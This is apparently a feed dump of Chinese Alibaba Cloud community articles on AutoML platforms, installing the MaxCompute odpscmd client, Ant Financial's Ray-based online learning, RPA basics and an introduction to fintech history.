        AI Prophet AutoML是一款覆盖了机器学习全流程的自动化产品,帮助企业低门槛、规模化拥有自主可控的AI能力,从而在广告营销、风险控制等高价值、高难度决策类场景中拥有出色的决策能力。 AI Prophet AutoML通过简洁、易理解、易操作的方式覆盖了从模型调研到应用的机器学习全流程,打通了机器学习的闭环。用户只需“手机行为数据、手机反馈数据、模型训练、模型应用”4步,无须深入理解算法原理和技术细节,即可实现全流程、端到端的AI平台构建。在降低门槛的同时,其构建编码方式也与传统人工智能方法不同,AI Prophet AutoML提供了“傻瓜式”的交互界面,即让企业免去编码定义建模的过程,将开发AI应用的周期从以半年为单位缩短至周级别。
        2.应用场景与数据处理
        AI Prophet AutoML还展现出了比较高的模型水准。在疾病预测、金融反欺诈、互联网推荐、广告营销、风险控制等高价值、高难度的决策类场景测试下,该平台做出了接近甚至超过顶级数据科学家的模型数倍的效果,让AI拥有出色的决策能力。另外,模型可一键上线,生成预测API,也可根据需求自动上线。系统支持资源自动弹性伸缩。
        在数据管理方面,该产品针对AI应用设计数据治理流程,包括数据自动推断、自动清洗、预处理、自动标记等,由此将数据分为行为数据与反馈数据的管理,更符合AI应用的场景,有目的性地让数据为AI服务。
        在企业数据方面,从历史数据的利用到模型上线后新产生数据的自动回流,再到新数据的自动训练,一系列的过程使得企业数据变为活水,不断产生与使用,常用常新,越来越精准。如图2-18所示,是一个在线广告投放的案例,该企业的过程数据不仅可用于投放在线广告,还可以实现个性化推荐和实时反欺诈功能。
        第四范式致力于提供通用的平台能力,降低AI应用的门槛,为企业打造一套自动化、流程化的工具。AutoML平台,是第四范式在先知系统的基础上进一步降低企业AI落地应用门槛和TCO成本,拓展衍生平台专业应用能力和生态产业链的成果。
        image.png

        图2-18 企业数据应用

        2.3.6 智易科技

        1.简介
        智易科技通过一站式的AI研发与应用云服务平台,帮助零售、制造、金融、教育、医疗等各行各业的企业更加简单便捷地进行AI应用的开发与部署,低成本拥有人工智能,从而获得更大的商业价值。智易深思平台可以帮助任何企业用户快速开发出可应用与实际生产环境的AI模型,用户只需要将数据导入并选择预测目标,平台即可给出最优模型。如图2-19所示,深思平台定位零门槛和全程可视化的人工智能应用开发平台,用户不需要掌握任何AI相关的理论和知识,就可以轻松上手。
        image.png

        图2-19 智易深思平台架构图

        2.平台介绍
        深思平台是一个庞大的系统集合,包括底层的分布式集群、云基础设施;上层的AI模型研发、分布式训练架构以及大数据引擎,如Hadoop、Spark等;同时拥有ETL层,可对数据进行处理,有可视化和BI等功能;并在面向前端用户时,搭建了基于浏览器的可视化操作页面,大幅降低了使用门槛。AutoML是深思平台中的关键技术之一。目前,深思平台主要应用在金融业、零售业以及工业中,支持结构化数据和图像数据,可以帮助客户完成反欺诈、销量预测以及产品缺陷检测等一系列AI应用。平台具有应用门槛低、高度自动化的工具链、多场景模型训练支持、大规模的分布式系统管理等优点。

        2.4 参考文献

        [1] OUELLETTE R. Automation impacts on industry [M]. Ann Arbor: Ann Arbor Science Publishers, 1983.
        [2] BENNETT S. A history of control engineering 1800-1930 [M]. Stevenage: Peter Peregrinus, 1979.
        [3] HUTTER F, CARUANA R, BARDENET R, et al [C].AutoML workshop @ ICML 2014, 2014.
        [4] YAOQ M, WANGM S, CHEN Y Q, et al. Taking human out of learning applications: a survey on automated machine learning [J]. arXiv:1810.13306, 2018.
        [5] SPARKS E R, TALWALKAR A, HAAS D, et al. Automating model search for large scale machine learning[C]//SIGMOD. 2015 ACM Symposium on Cloud Computing, New York: ACM, 2015: 368–380.

        ]]>
        这样才能正确解锁MaxCompute客户端 Fri, 02 May 2025 09:39:04 +0800 大数据计算服务(MaxCompute,原名ODPS)是一种快速、完全托管的TB/PB级数据仓库解决方案。MaxCompute向用户提供了完善的数据导入方案以及多种经典的分布式计算模型,能够更快速的解决用户海量数据计算问题,有效降低企业成本,并保障数据安全。MaxCompute主要服务于批量结构化数据的存储和计算,可以提供海量数据仓库的解决方案以及针对大数据的分析建模服务。随着社会数据收集手段的不断丰富及完善,越来越多的行业数据被积累下来。数据规模已经增长到了传统软件行业无法承载的海量数据(百GB、TB、乃至PB)级别。在分析海量数据场景下,由于单台服务器的处理能力限制,数据分析者通常采用分布式计算模式。但分布式的计算模型对数据分析人员提出了较高的要求,且不易维护。使用分布式模型,数据分析人员不仅需要了解业务需求,同时还需要熟悉底层计算模型。MaxCompute的目的是为用户提供一种便捷的分析处理海量数据的手段。用户可以不必关心分布式计算细节,从而达到分析大数据的目的。MaxCompute已经在阿里巴巴集团内部得到大规模应用,例如:大型互联网企业的数据仓库和BI分析、网站的日志分析、电子商务网站的交易分析、用户特征和兴趣挖掘等。MaxCompute的开发工具有三种方法,本文介绍MaxCompute客户端的安装、配置、测试方法以及可能遇见的问题。odpscmd是MaxCompute基础客户端,可以通过它访问MaxCompute的项目空间并使用各项功能。

        安装步骤:
        第一步:下载安装JDK(1.7或以上版本)
        因为odpscmd是基于JAVA开发的,所以需配置JAVA运行环境。JDK大家可以在网上查找下载,我提供一个下载链接,仅供参考。
        https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
        Windows版本和Mac OS版本选择下载,下载完成之后,大家按照流程安装即可。

        第二步:配置JDK
        Windows版本:
        1.右键选择 计算机→属性→高级系统设置→高级→环境变量
        2.系统变量→新建
        变量名:JAVA_HOME
        变量值:变量值填填写JDK的安装目录,例如本人是 image

        image
        3、在系统变量中找见Path变量,选择编辑,再选择新建,输入 image
        最后确认就OK了。
        image
        4、检查是否安装完成。
        在系统自带cmd工具输入检测版本命令:java –version 当出现下面内容,则配置完成。
        image
        这个1.8.0_171是安装的版本。
        Mac OS版本:
        Mac OS配置环境变量这篇文章讲的很清楚,大家参考一下:https://blog.csdn.net/vvv_110/article/details/72897142

        第三步:下载odpscmd客户端安装包
        https://help.aliyun.com/document_detail/27971.html
        点击上面的链接,找见下面的内容即可下载。
        image

        第四步:解压安装包
        大家把安装包下载到合适的硬盘当中后,下载下来的都是zip文件,自带的电脑压缩工具应该都可以解压,如果不可以解压,大家下载一个zip解压工具就好。解压之后,就会出现四个文件夹bin、conf、lib、plugins。
        image

        第五步:配置客户端
        编辑conf文件夹中的odps_config.ini文件,对客户端进行配置,如下所示:
        access_id=*
        access_key=*
        Accesss ID及Access Key是用户的云账号信息,可登录阿里云官网,进入管理控制台accesskeys页面进行查看。
        project_name=my_project # 指定用户想进入的项目空间。
        end_point=https://service.odps.aliyun.com/api # MaxCompute服务的访问链接。
        tunnel_endpoint=https://dt.odps.aliyun.com # MaxCompute Tunnel服务的访问链接。
        log_view_host=http://logview.odps.aliyun.com
        当用户执行一个作业后,客户端会返回该作业的LogView地址。打开该地址将会看到作业执行的详细信息。
        https_check=true #决定是否开启HTTPS访问
        因为.ini文件电脑默认打开的是txt的应用,电脑自带的文本文档打开之后是一长溜,不利于观看,大家可以自行下载一些txt查看工具,比如notepad什么的,利于观看。
        因为开通服务的地区不同,需要根据自己开通Regoin情况以及数据所在Regoin进行end_point和tunel_endpoint配置,可参考官方文档:
        https://help.aliyun.com/document_detail/34951.html?spm=a2c4g.11186623.6.585.60c95192ZElXYN
        image
        配置完保存即可。

        第六步:运行客户端
        修改好配置文件后,便可运行bin目录下的MaxCompute客户端(Linux系统下运行./bin/odpscmd,Windows下运行./bin/odpscmd.bat)
        image
        image

        第七步:测试是否安装完成
        可在客户端中运行测试语句,示例如下:
        create table tbl1(id bigint);
        insert overwrite table tbl1 select count(*) from tbl1;
        select 'welcome to MaxCompute!' from tbl1;
        如果出现以下结果,则表明安装正确。
        image

        可能碰见的问题:
        1、没有安装JDK,没有配置环境变量,直接运行odpscmd报错。
        2、查看系统80端口,一般是打开的。端口关闭也会导致运行报错。
        3、config配置文件没有配置正确,特别注意空间名称以及endpoint,导致客户端无法正常使用。
        4、如碰见其他问题,可MaxCompute开发者社区群内咨询。

        欢迎加入“MaxCompute开发者社区2群”,点击链接申请加入或扫描二维码
        https://h5.dingtalk.com/invite-page/index.html?bizSource=____source____&corpId=dingb682fb31ec15e09f35c2f4657eb6378f&inviterUid=E3F28CD2308408A8&encodeDeptId=0054DC2B53AFE745
        67cc36b608a5035daec4f4e0f99833039231bab0

        ]]>
        提效降本:蚂蚁金服如何用融合计算改造在线机器学习 Fri, 02 May 2025 09:39:04 +0800 去年春节期间支付宝推出的集五福的活动可谓风靡一时,每张福卡背面都有刮刮卡,里面有来自蚂蚁金服、阿里巴巴以及合作伙伴的上百种权益。集五福的活动集中在春节前的几天,具有很强的时效性。所以如何实现权益和投放人群的自动匹配,解决系统的冷启动问题,优化转化率和提升用户体验,就成了一个在线学习的优化问题。

        之前我们搭建一个这样的系统需要的模块非常繁杂。我们需要日志收集、数据聚合、样本的拼接和采样等流处理任务,需要对接模型训练、模型验证等机器学习模块,需要有把模型实时加载的模型服务,还需要其他的配套设施等等。众多模块的衔接极大地增加了系统的复杂性。

        1.png

        由于涉及的系统比较多,我们之前的系统遇到了比较多的问题。比如大促时为了保证高优链路的稳定性,上游某些数据处理的链路就会被降级了,但下游同学并不知情。另外一个很常见问题的是流批逻辑不一致,需要离线特征来训练基准模型,同时在线计算的特征来对模型进行实时更新。这两个模块一个在离线一个在线,曾经出现过处理逻辑的细微差别对业务效果造成了很大的影响。

        总结下来,我们曾经遇到的坑可以归结为三类:

        • SLA:整个链路的SLA会受到每个模块的SLA的影响,并随着模块的增多而放大,稳定性成为制约业务发展的重要因素。
        • 系统效率:模块之间的衔接多数是通过数据的落盘来进行,模块间的调度通过系统调度来实现,造成不必要的I/O、计算和网络开销。
        • 开发和运维的成本:各个模块风格迥异,开发模式、计算框架、甚至代码风格都不一致,开发和运维对接时需要花很多时间去熟悉系统,降低业务开放的效率。

        2.png

        一个理想的系统应该提供什么样的能力呢?可以从“稳快简”三个方面来讲:首先从数据来讲它需要保证数据和计算一致性,实现整个链路端到端的SLA,数据一致性和链路的稳定是保障业务稳定的基础。第二是我们需要去优化系统效率,我们希望把这十几个系统的衔接转换成系统内部的衔接,希望把这些作业调度转换成任务的调度,通过这样转化我们希望把计算与计算之间协同调度,从而提高系统效率和降低网络带宽使用的目的。一个融合的系统也可以对开发和运维提供非常大的便利,以前需要对接十几个系统,现在只要对接一个系统就可以了。以前我们在应急的时候需要回溯好几个业务来发现问题,现在融合在一起的系统调试也会更加容易。

        在线机器学习最外层需要透出数据处理、模型训练、模型服务三个能力。这三个能力反映到对计算引擎框架上的需求是敏捷的调用机制、比较灵活的资源管控,以及比较完善的容错机制。上层的系统往往是通过不同编程语言来实现的,因此还需要有多语言接口。通过对底层需求的考量以及现在各框架的特点,最后我们选择了Ray为融合计算的底座。

        3.png

        Ray是由伯克利大学RiseLab实验室发起,蚂蚁金服共同参与的一个开源分布式计算框架,它提出的初衷在于让分布式系统的开发和应用能够更加简单。Ray作为计算框架可以帮我们实现上面“稳快简”三个目标。Ray作为计算框架具有敏捷的调度机制,用它可以一秒钟进行上百万次任务调度,它也可以根据计算对资源使用的需求实现异构调度。

        在目前比较流行的分布式框架,都有三个比较基础的分布式原语,分布式任务、对象和服务。而我们常用的面向过程的编程语言中,也刚好有三个基本概念,函数、变量和类。这三个编程语基本概念刚好可以和分布式框架的原语对应起来。在Ray系统中,可以通过简单的改动,实现他们之间的转换。

        4.jpg

        左边是一个简单的例子,在这个函数前面需要加入一个“@remote”修饰符,就可以把一个函数转换成为分布式任务。任务通过“.remote”调用执行,返回值是一个变量,又可以参与到其他计算中。

        右边是另一个例子,通过加“@remote”修饰符的方式可以把一个类转变成服务。类中的方法可以通过“.remote”调用变成一个分布式任务,和函数的使用非常相似。通过这种方式可以实现从单机程序到分布式任务的转变,把本地的任务调度到远程的机器上进行执行。

        5.png

        Ray上应该做怎么样的调度,衡量指标就是系统的效率问题,系统的效率很多时候取决于计算和数据的组织方式,比如说我们要计算Add(a,b),首先这个函数在本地会被自动注册并且提供给本地调度器。之后通过全剧调度器和第二个节点的本地调度器一起协同工作,把A备份到第二个节点执行Add这个操作。它还可以根据A和B的数据大小来进行进一步的调度和控制优化,A和B可以是简单数据类型,也可以是比较复杂的变量或者矩阵。

        Ray上面提供多语言API接口。由于历史原因,在蚂蚁金服内部流式计算使用最多的语言是Java,而机器学习建模比较普遍使用的语言是Python。我先希望重用Java语言实现的流处理算子,同时保留Python进行机器学习建模的便捷性。Ray上面提供这样的多元化支持就非常方便我们做这个事情,用户在上层开发的时候可以可以方便地使用Java和Python分别进行流处理和机器学习模型的开发。

        对于在线机器学习来说,它最核心需要解决的问题是要打通流计算和模型训练,那我们需要使用一个介质,这个介质能够比较方便的将两者衔接在一起。之前我们介绍Ray的几个特点,如提供多语言的接口、灵活的调动机制,这是因为这两个特点在Ray上可以比较方便做这个事情,Ray可以起到衔接的作用。数据处理的最后一个节点是流计算的输出,worker节点消费数据,是模型训练的输入。Ray就可以通过调度机制把这两个计算调度在一个节点上,实现数据共享从而实现两个模式的打通。通过这种方式不仅可以兼容流计算和机器学习,也可以将其他模式进行衔接。

        计算中DAG概念最开始是为了解决多阶段分布式计算的效率而提出的,主要思想是通过调度减少计算时的IO。但是以前的计算DAG,在任务执行的时候它就已经确定了,但我们在机器学习的任务里面,很多时候我们会需要设计新的模型,或者对模型的超参进行调试,我们希望看到这些模型能被加载到链路上,看到业务效果的同时又不想线上已经有的模型的训练和服务被中断。在Ray系统内部,计算的过程中可以动态的生成另外一个节点,我们可以利用这个特性来增点和变,从而动态的对DAG进行局部修正。

        6.png

        在线系统和离线系统之间比较大的区别,在于如果一个离线系统里的任务挂了,一般来说可以通过重启机器的方式来解决,但对在线系统来说,出于时效性的考虑,我们不能简单的通过重启机群回溯数据的方式来解决。因此就需要有比较完善的容错机制。我们在模型训练的时候可以利用Ray的Actor来拉起模型训练的worker和server节点。如果worker或者server节点处于不健康状态,我们就可以利用Actor的容错特性通过血缘关系来对数据和计算进行恢复,从而实现容错的训练。

        7.png

        我们比较追求链路的时效性,模型能够尽快的拟合实时数据里。但是追求时效性的同时也要保证整个链路的稳定性,在敏捷和敏感之间达到平衡。我们从三个方面,系统稳定性、模型稳定性、机制稳定性来保障整个链路的稳定性。

        • 系统稳定性,里面包括数据实时性和强一致性保障。
        • 模型稳定性,我们希望设计的模型能够拟合实时数据流,但同时要防止在线学习链路在各种不确定性因素下,如数据噪音,造成的效果退化。因此我们需要考虑在线特征和离线特征的组合,在模型设计上需要考虑到深层模型和浅层模型对数据的敏感性和噪音的容忍度。
        • 机制稳定性,赛马机制、快速回滚策略。

        除了之前用Ray来实现融合以及它带来的好处,我们也做了非常多的模块建设,TF融合、稳定性保障、样本回流、延迟样本修正、数据共享、流批一体、端到端强一致、模型增量导出。我们把这个平台上线了支付宝的几个场景,从下面的几个数字可以一探效果:

        • 99.9%的全链路SLA
        • 业务指标有2%到40%的提升
        • 几十分钟模型延迟到4、5分钟,并且可以根据业务的需求进一步降低
        • 机器使用降低了60%

        我们从去年8月份开始建设,今年2月份开始上线第一个场景,在支付线财富线也都取得了不错的效果,接下来我们会推广到蚂蚁金服的其他业务线上。

        8.png

        基于融合计算机器学习,它是融合计算和机器学习这两种模式的有机组合,实现优化资源共享。我们通过这两方面的探索初步验证了融合计算的框架,融合计算是旨在数据共享来进行计算模式的兼容,融合的本质是开放,开放的基础是实现数据的互通,只要我们能够方便的实现各模式之间的数据互通,并且能够保障它们数字的实时性和端到端的一致性,就可以实现复杂场景里面需要多种模式进行组合的计算。模块的衔接就像搭乐高积木一样,基本的模块可能只有几种,但是搭建出复杂且多变的系统。

        ]]>
        MVP一周精选 20191101 Fri, 02 May 2025 09:39:04 +0800 图片1.jpg
        精彩继续,精选来袭!
        阿里云 MVP(阿里云最有价值专家),是专注于帮助他人充分了解和使用阿里云技术的意见领袖。在这里,您可以跟随各行各业技术达人快速Get到行业热点和前沿技术。点击了解更多

        【MVP说】

        朱祺:机器学习算法—KMEANS算法原理及阿里云PAI平台算法模块参数说明
        阿里云PAI平台提供了大量已经封装完成可以直接使用的机器学习算法模块,本文说明KMEANS算法的原理并在原理的基础上说明PAI平台KMEANS模块中参数设置的意义,根据原理介绍算法的优点和缺点。

        安欣:看云栖说云栖——数据上云、灾备上云、老艺术家们
        参加盛大的杭州云栖大会,整理了存储资源相关《下一代存储技术与最佳实践专场》和《数据上云与数据智能专场》的分享内容,还见到了阿里云 MVP张广彬(狒哥),这位存储行业的老前辈。

        刘洪峰:【阿里云IoT+YF3300】7.物联网设备表达式运算
        在前几期【阿里云IoT+YF3300】系列文章中分别介绍了Alink协议、Alink物模型,物联网设备报警配置等模块。本文继续物联网领域的分享:很多时候从设备采集的数据并不能直接使用,还需要进行处理一下。如果采用脚本处理,有点太复杂了,而采用表达式运算,则很方便地解决了此类问题。

        【MVP时间】

        闫安:大数据发展对云上解决方案的影响
        曾任阿里巴巴核心大数据部门第一任总监,有丰富的平台和行业解决方案经验。在云栖大会上分享大数据未来的发展与机遇:产业互联网、5G与物联网、云平台为基础的应用等。

        缪政辉:超级开发者解读云栖大会精彩黑科技
        致力于以场景化和更加通俗易懂的方式让更多人体验云计算,让云端的计算更质朴的落地。现身杭州云栖大会,分享在运维方面关注容器、云原生技术对企业未来软件的部署会有非常大的改变。

        章斌:数字化转型项目实践案例解析
        十年以上IT行业从业经验,专注于云计算与大数据方向。章斌带来杭州云栖大会参会不一样的感受,阿里云联合厂商做了产品及解决方案的发布,在新技术、新工具的基础上,有了更多的联合解决方案向客户输出,让客户更能感受到服务的价值。

        想随时学习MVP最新实践与技术经验,即刻关注“阿里云MVP技术圈”,我们在阿里云开发者社区等您!

        第11期阿里云 MVP 全球招募进行中,期待您的加入,点击申请

        上期精彩内容:
        MVP精选20191025

        如果您还希望阿里云 MVP再分享些什么?请到下方评论区留言。

        ]]>
        RPA学习笔记1:初识RPA Fri, 02 May 2025 09:39:04 +0800 传统场景下,员工在工作的过程中,大部分是通过电脑操作完成,枯燥乏味且易出错是常见现象,那么机器人通过记录员工电脑上的操作行为,将规则和行为熟记于心,并模拟人的方式自动执行特定的工作流程,就是流程自动化机器人。

        在简单的一图来概况
        9-201.jpg

        规则统一 >>> 流程统一 >>> 重复劳作 >>> 系统统一

        就是把一个闭环流程、一组数据、一个业务通过计算机模拟人工的方式串联到一起。

        强调:必须是重复劳作的过程

        RPA学习笔记1:初识RPA

        再说,现在有什么RPA呢

        早期有“按键精灵”一般玩游戏的都知道,部分该类的软件商现在也着手做RPA厂商了。

        现在RPA代表性的厂商有Uipath、艺赛旗、阿里云等,

        RPA厂商阵营现在有三类;

        一类Python RPA、一类可视化RPA、一类融合前两种可视化+Python;

        Python RPA :纯敲代码,功能上几乎无所不能,所想所达,非技术很难入门;

        可视化RPA : 点点选选、勾勾画画,功能上不能满足的地方很多,非技术上手较容易;

        融合可视化+Python的RPA : 现在大多RPA厂商采用的方式;

        再说,RPA的一些主要特征:

        ・键盘操作自动化

        ・鼠标操作自动化

        ・识别画面的文字内容并读取

        ・识别画面的图形,颜色等属性

        ・对各类应用程序的自动启动自动关闭,用户名密码的自动输入

        ・定时执行

        ・定制简单

        ・业务流程的平顺过渡

        ・不同应用程序间的数据共享

        ・支持远程操作

        ・多台电脑的控制

        ・支持通过处理流或者手顺书操作

        ・支持错误处理和分支处理

        ・支持历史数据分析

        最后说,RPA的使用领域

        数据录入、多应用程序间的数据共享等固定形式的业务流程任务,例如:财会、人事、金融类场景较多;

        不能结构化的数据收集及分析等方面的任务,例如:安全日志分析、各种因素叠加的报表分析、各种数据报表的融合分析等;

        以及基于大数据的学习进而作出分析判断的业务;

        最最后,特别说明一下

        码字不易,本篇非某专项授课摘录,是作者本人浏览相关解说,根据自己理解总结所述,目前做了一个RPA学习网站(https://www.rpaxuexi.com/ )“学习笔记”栏目为个人笔记,“理论知识”栏目会按照各厂商说明进行逐一罗列。先写这么多,以后每天一篇,后续也会对以往文章不足的地方做修正,本次文章及以后也会很少配图,能写出来的就不配图了,毕竟随便配图也要版权的/尴尬,随着学习能力的提升或许采用图文及表单结合,毕竟不能自私的我以为这个样式很好,也得符合视觉体验。/笑脸一个

        非写作专业,上述部分词句取自网上公开资料,毕竟我也刚开始学,大部分字词也在了解学习中,写的不好还请见怪并接受指点,也是我开始这一过程的另外一个原因,锻炼写作能力,也给自己日常工作的解压的方式。

        ]]>
        带你读《金融科技:变迁与演进》之一:传统金融的困与变 Fri, 02 May 2025 09:39:04 +0800 点击查看第二章
        金融科技:变迁与演进

        image.png

        未央网 主编

        引 言

        金融科技是什么

        文/洪偌馨
        金融科技是Financial Technology的中文翻译,简称Fin-Tech,是指传统金融企业利用科技手段推动创新变革、提高效率以及提升用户体验,或者新型创业利用科技手段推出全新的金融产品或商业模式,尤其多指后者。
        一家典型的金融科技公司具有较为明显的特点。一是通过互联网或者移动互联网推送金融产品和服务;二是技术驱动,比如利用大数据和机器学习进行风险评估和信用判断、精准营销或者资产配置等,典型例子是利用车载传感器和可穿戴设备来提取数据并分别应用于车险和健康险的定价等。
        相较于近几年国内兴起的“互联网金融”,“金融科技”是一个相对较新的概念。从商业模式的涵盖范围来看,二者之间并无太大不同,但是,互联网金融所包含的“技术驱动”的含义没有金融科技那么强。英国剑桥大学互联网金融报告团队的观点认为,互联网金融在英国被称为替代金融(Alternative Finance),因其更强调对传统金融的补充和替代,而金融科技则更强调技术对金融创新的推动。
        美国金融业解除管制的时间比较早:在1975年实现了证券交易佣金的自由化,1986年实现了利率市场化,1999年通过金融现代化法案实现了混业经营。再加上互联网技术的发展和应用也比较早,美国在20世纪80年代开始就相继出现了第一批互联网券商、互联网银行和互联网保险等。
        因此,在美国,互联网和金融的结合是一个渐进的过程,基于这个原因他们并不觉得“互联网+金融”有什么特别的地方,以至于互联网金融或者“Internet Finance”并没有作为一个词在英文的语境中出现。
        直到2005年之后,P2P网贷和众筹在美国开始出现,再后来大数据和机器学习渐渐被广泛地应用于个人和小企业网络借贷的信用判断和定价,尤其是近两年智能投顾(Robot Advisor)以及类似Kensho这种利用云计算和人工智能的新一代信息和数据服务公司的崛起,金融科技(FinTech)这个词才开始出现并流传开来。

        金融科技的三个阶段

        文/周广益
        金融科技1.0:金融科技1.0时代又可称作Classical Fin-Tech,即传统金融科技。2013年之前可称为金融科技1.0时代,因为在2013年之前金融虽然与科技紧密结合,但远没有达到现在这样的广泛应用程度。
        在金融领域,2013年以后互联网金融机构开始大量爆发,包括网贷公司、第三方支付公司、众筹、门户理财等,该年也被普遍认为是“互联网金融元年”;在科技领域,移动互联网、大数据、云计算等如今已经深刻影响我们生活的科技变革也是方兴未艾。
        金融科技1.0的特点表现为传统的金融机构以使用IT技术、自上而下推动、数据封闭为主,科技领先并不能带来大幅的领先优势,并且有很大一部分中小城商行都还处于基础设施建设阶段。
        金融科技1.0阶段的代表产业包括软件服务商、硬件服务商、短信、外呼、传统数据(工资单、银行流水、征信)等。此处选择软件服务商、硬件服务商进行介绍,传统金融机构在这两块的投入占整个科技投入的60%以上。
        软件服务商:金融软件服务商是指由专业的软件企业运用成熟的IT技术,依照银行的业务及管理要求,提供应用软件开发及相关技术服务以提升业务处理效率、改进业务流程,实现IT技术对银行决策、管理、业务等方面的支持。
        传统金融机构的IT部门通常较少完全独立开展软件产品应用开发业务,大多会与专业的银行软件厂商进行合作开发,以提高管理及开发效率。在二者合作过程中,银行IT部门通常负责项目监督、进程跟踪及业务开展情况的检查,软件供应商的业务团队通常按照银行的各项要求或合同约定的开发目标负责实施项目各环节的具体开发工作及技术服务工作。
        硬件服务商:传统金融机构硬件不仅仅包括服务器,还包括计算机、存储、网络设备、ATM及其他硬件等。
        很多传统金融机构还处于基础设施建设阶段,硬件采购金额占比能达到整个IT预算的50%以上。
        金融科技2.0:金融科技2.0时代又可称作Social FinTech,即社会化的金融科技。该阶段由三股力量共同推动,我们通过三个英文单词来解释它。Socialise—以前科技虽然与金融结合较为紧密,但更多是传统金融机构在使用,就算各家银行都推出了网银,但使用频次并不高,随着移动互联的出现,金融科技开始进入千家万户,最简单的一个例子是大家出门都不用再携带钱包。Financial—在2013年前后民间金融同时爆发的代表业态有P2P、网贷、理财、众筹、第三方支付、消费金融等,民间金融的爆发同时也为广大百姓普及了一次金融理念,即除了传统银行储蓄贷款之外,还有多样化的投资及筹资渠道。Technology—此处其实技术发生了一个小的范式创新,三股技术同时推动社会的进步,包括MT(Mobile Technology)、CT(Cloud Technology)和DT(Data Technology)。随着移动互联网金融的爆发,手机成为人体另一个“器官”,并且使得获取大数据中的全量数据成为可能,从而让不用面签放款成为可能。云计算大大降低了企业创立的成本,其运算的弹性也让流量峰值算力与常备算力所需的花费大大降低,有效扩展了互联网金融企业及上下游服务企业的服务能力,让业务呈指数级增长成为可能。
        金融科技2.0的特点表现为互联网金融机构引领科技潮流,传统金融机构选择性跟进,自下而上推动(许多互联网金融机构管理十分扁平)。由于为多家企业服务,出现了一批打通数据的优秀第三方服务公司,当然业务井喷之后也出现了一定的乱象,该阶段整体监管环境较为宽松。
        金融科技2.0阶段的代表产业包括风控建模、第三方支付、大数据风控(黑名单、设备反欺诈、活体识别、位置信息)、在线仲裁、电子签章、聚合客服系统、云计算、网络安全等。在金融科技2.0阶段,金融科技被普遍使用,此处简述两个金融科技企业使用超前于传统金融的产业—大数据风控与云计算。
        大数据风控:数据类服务商通过各种手段如爬虫、cookie、设备指纹等,集合海量非结构化数据,通过对其进行分析,为金融机构提供客户全方位信息,通过分析和挖掘客户的社交、交易和消费信息来掌握客户的习惯,并准确预测客户行为,使金融机构和金融服务平台在风控方面有的放矢。
        金融科技企业对数据的使用更开放、大胆,大数据被广泛应用于贷前/贷中/贷后,并且成为风控中不可或缺的一环。而银行限于风控要求、监管要求和可解释性要求等对许多非结构化数据使用相对谨慎。
        云计算:一种按使用量付费的模式,这种模式提供可用、便捷、按需的网络访问,进入可配置的计算资源共享池(资源包括网络、服务器、存储、应用软件、服务),这些资源能够被快速提供,且只需投入很少的管理工作,或与服务供应商进行很少的交互。
        传统金融机构对于云计算的使用相对保守,而很多互联网金融企业由于都是在互联网上开展业务,不仅经常遇到流量峰值与常规硬件运算能力不匹配的情况,而且也会出现自身的IT管理、安全水平参差不齐等问题,所以它们更多地使用云计算服务。
        金融科技3.0:金融科技3.0时代又可称作Intelligent FinTech,即智能金融科技。具体来看,在金融方面,随着国家金融体制改革和对金融监管的日益完善,金融行业的经营将以持牌为主。在科技方面,5G、物联网、AI、区块链等也将在基础设施完善之后井喷而至。
        5G是物联网也是区块链的基础,5G成熟后许多现在需要大量实时同步数据传输来远程完成的事情都可以快速实现了,物联网的完善将极大推动整个供应链的效率,供应链金融中商流、物流、信息流、资金流可以做到四流合一。而作为一种去中介的新型社会组织方式,区块链被称为“信任机器”,它将极大地改变现在金融机构作为中介的运作方式。AI技术现阶段的两大瓶颈在于数据不足和算力不足,但随着基础设施的健全,AI技术应用将会迎来爆发期,从而极大地推动金融行业变革。
        金融科技3.0的特点表现为:经营智能化(金融作为一个完全数字化的产业,有许多环节都可以使用科技手段替代)、监管智能化(中国的监管现状为混业经营和分业监管,分业监管既有历史原因也有IT手段不足、混业监管成本高的原因,随着万物互联人工智能的介入,监管也会迎来一个新的阶段)、大量无法使用新技术的传统金融企业生存艰难。
        智能是金融科技3.0阶段的主题,该阶段的代表产业包括5G、人工智能、区块链、物联网、雾计算、VR/AR等。在此先简述两个产业,一个是人工智能,另一个是被预言可以颠覆金融底层的区块链技术。
        人工智能:是计算机科学的一个分支,它企图了解智能的实质,并生产出一种新的能够以与人类智能相似的方式做出反应的智能机器。云计算、大数据等技术的成熟催化了人工智能技术的进步和发展。深度学习在算法上的突破则掀起了人工智能浪潮,使得复杂任务的分类准确率大幅度提升,从而推动了计算机视觉、机器学习、自然语言处理、语音识别、专家系统等的快速发展。人工智能在某些领域将彻底改变人类目前的生产模式,取代更多人、更多重复性工作,劳动密集型工作将完全由机器人来完成,人力将投向更具价值的事情。对于金融领域,人工智能主要有以下两方面的影响。
        1)金融行业服务模式更加个性化、智能化。人工智能技术将大幅改变金融现有格局,使金融服务(银行、保险、理财、借贷、投资等方面)更加个性化和智能化。
        2)金融大数据处理能力大幅提升。长期以来,金融行业沉淀了大量数据,通过运用人工智能的深度学习系统,金融行业有足够多的数据供机器进行学习,并不断完善甚至能够超过人类的知识回答能力,尤其在风险管理与交易这种对复杂数据的处理方面,人工智能的深度神经网络技术的应用将大幅降低人力成本并提升金融风控及业务处理能力,这在实践应用中已经得到了检验。
        区块链:学术一点的解释即分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式。简单点说,区块链是一种分布式存储过程。对区块链的赞誉很多,比如“与互联网同等级的创新”“将重新定义世界”“将带领人类进入价值互联网”等。而在现时,区块链技术还处于早期阶段,能解决的问题确实不多,但已经有一些有意思的案例落地,类似区块链保险、区块链供应链金融、区块链产品溯源等。虽然区块链技术还没有被广为认可,许多企业还对其持观望态度,但是那些敢于率先运用区块链技术的企业已经从中看到了区块链的巨大发展潜力,相信假以时日区块链技术会为更多行业所接受,其改变人类生存方式的一面也会日益展露出来。
        对金融科技2.0及3.0阶段各细分领域的介绍将在后续章节详细展开。

        第一章

        传统金融的困与变
        近些年,随着区块链、大数据、人工智能、物联网等技术的发展,金融与新科技的融合日益趋深。在这个过程中,一大批金融科技初创公司应运而生。这些掌握先进技术的金融科技公司对传统金融机构的龙头地位发起了强烈的冲击,使金融市场的竞争变得愈加激烈。悄然间,转型已成为趋势。传统金融机构和新兴金融业态之间的鸿沟正在收窄,二者之间的合作“共生”将使其各自发挥自身优势。西方金融业频频出现的对开放银行(Open Banking)、金融数据共享的讨论也表明:那些故步自封的传统金融机构正面临着危机。

        传统金融的困境

        文/薛洪言,张沛祺
